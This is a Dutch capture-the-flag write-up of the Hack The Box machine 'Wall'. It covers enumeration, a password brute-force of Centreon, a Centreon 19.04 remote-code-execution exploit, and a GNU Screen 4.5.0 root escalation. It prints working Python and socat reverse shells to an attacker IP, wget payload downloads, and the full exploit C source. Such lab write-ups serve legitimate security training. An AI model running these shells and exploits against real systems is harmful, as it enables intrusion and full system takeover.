Zoals gewoonlijk starten we met een nmap scan
root@kali:~/htb/wall# nmap -sC -sV -oA htb-wall-scan 10.10.10.157 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-18 15:28 EST Nmap scan report for 10.10.10.157 Host is up (0.053s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) | 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds
Laten we eens kijken wat er wordt gehost.
We zien een standaard apache2
installatie. Dus we voegen het toe aan onze hostfile als wall.htb en sturen het naar gobuster
.
root@kali:~/htb/wall# gobuster dir -u http://wall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://wall.htb [+] Threads: 40 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2019/12/18 15:30:54 Starting gobuster =============================================================== /monitoring (Status: 401) /server-status (Status: 403) =============================================================== 2019/12/18 15:34:15 Finished ===============================================================
We krijgen slechts twee standaardresultaten terug
Aangezien ik de parameter -x
bij de eerste scan heb opgegeven, moeten we deze opnieuw uitvoeren voor bestandsextensies. We zien dat er een paar zijn met de .php-extensie.
Er zijn enkele interessante bestanden en mappen na opsomming. Er is niet veel dat we kunnen doen met de twee nieuwe php
bestanden. Wanneer we Burpsuit
openen en de site beginnen te porren met Burpsuit
en POST
aanvragen, zien we dat als we een POST
aanvraag sturen naar /monitoring/
we worden doorgestuurd naar /centreon
.
Het kan ook met curl
c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address> </body></html> c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring/ <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2> <meta http-equiv="refresh" content="0; URL='/centreon'" />
We gaan naar het adres en krijgen een inlogformulier. We zien dat de versie die wordt uitgevoerd 19.04 is. Een snelle searchsploit
op Centreon laat ons zien dat er een RCE is voor deze specifieke versie.
We kunnen deze exploit naar onze huidige werkmap kopiëren met de opdracht -m
van searchsploit
.
searchsploit centreon -m 47069
.
Wanneer we de exploit uitvoeren, zien we onze opties:
In dit geval moeten we gebruikersreferenties verkrijgen om de exploit uit te voeren. Nu kun je deze login bruut forceren met bijvoorbeeld wfuzz
root@kali:~/htb/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top1000.txt --hc=403 http://wall.htb/centreon/api/index.php?action=authenticate Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://wall.htb/centreon/api/index.php?action=authenticate Total requests: 999 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000008: 200 0 L 1 W 61 Ch "password1" Total time: 7.880659 Processed Requests: 999 Filtered Requests: 998 Requests/sec.: 126.7660 root@kali:~/htb/wall#
We hebben nu dus de inlognaam en paswoord , en geven we in onze exploit onze referenties en IP en poort op. Start een nieuwe NC-luisteraar en vuur hem af … Niets. Hmmm, dus we zullen de exploit aanpassen om ons te laten zien wat er aan de hand is. We wijzigen het naar
https://github.com/puckiestyle/python/blob/master/htb-wall-rce.py
root@kali:~/htb/wall# cat test.py import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.70",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root@kali:~/htb/wall# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.157 - - [18/Dec/2019 15:58:43] "GET /test.py HTTP/1.1" 200 -
.
root@kali:~/htb/wall# python htb-wall-rce.py http://10.10.10.157/centreon admin password1 10.10.16.70 1234 [+] Retrieving CSRF token to submit the login form htb-wall-rce.py:37: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently. The code that caused this warning is on line 37 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor. soup = BeautifulSoup(html_content) [+] Login token is : 88f924d28ec1cffd048157c72ced69b3 [+] Logged In Sucssfully [+] Retrieving Poller token htb-wall-rce.py:55: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently. The code that caused this warning is on line 55 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor. poller_soup = BeautifulSoup(poller_html) [+] Poller token is : 1fad90e9ac5a0d8d99c3ce86ad114644 [+] Injecting Done, triggering the payload [+] Check you netcat listener !
.
root@kali:~/htb/wall# rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [10.10.16.70] from (UNKNOWN) [10.10.10.157] 36656 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
Hieronder de handmatige manier : Command Injection [Centreon]
We zijn met succes ingelogd met admin / password1 ,en zien de centreon-applicatie-interface. Het eerste waar ik naar keek, was dat we elke opdrachtinjectie in de toepassing kunnen uitvoeren om een omgekeerde shell te krijgen.
Na een paar seconden vond ik een sectie bij Configuraties -> Opdrachten -> Diversen waar ik een opdracht kan toevoegen.
Vervolgens klikte ik op de weergegeven knop Toevoegen, ik voorzag in een sectie om mijn opdracht uit te voeren. Dus zodra ik mijn terminal had opgestart en mijn Socat-luisteraar had ingesteld
SOCAT [Reverse shell]
root@ghost:~# socat file:`tty`,raw,echo=0 TCP-L:4567
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.X.X:4567
In de opdrachtnaam schrijf je alles wat je wilt en in de opdrachtsectie heb ik de bovenstaande cmd gebruikt en op de daar geleverde afspeelknop gedrukt om mijn cmd te activeren, zoals hieronder weergegeven.
Zodra ik op de afspeelknop drukte, kreeg ik een reverse shell-verbinding in mijn luisteraar als www-data [Low priviledge shell].
We krijgen een shell terug als www-data
! Nu we aan de machine zijn, kunnen we beginnen met opsommen. We downloaden linenum
en kijken waar het mee komt. Een opvallend item is screen-4.5.0
in onze SUID-sectie.
Een snelle searchsploit
voor scherm komt terug met twee mogelijke Lokale Privilege-escalaties.
root@kali:~/htb/wall# searchsploit screen | grep 4.5.0 GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41152.txt GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41154.sh
Het exploit-script werkte niet correct, dus compileerde ik de binaire bestanden op mijn kali doos:
libhax.c
:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
rootshell.c
:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
root@kali:~/htb/wall# gcc -fPIC -shared -ldl -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
root@kali:~/htb/wall# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
Vervolgens uploadde ik ze naar de box en deed de rest van de exploit:
www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-19 01:18:36-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s
www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-19 01:19:05-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'
rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s
$ whoami
www-data
$ cd /etc
cd /etc
$ umask 000
umask 000
$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
$ /tmp/rootshell
/tmp/rootshell
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
centreon-broker centreon-clib centreon-engine centreon-web-19.04.2 root.txt
cat root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
#
Auteur : Jacco Straathof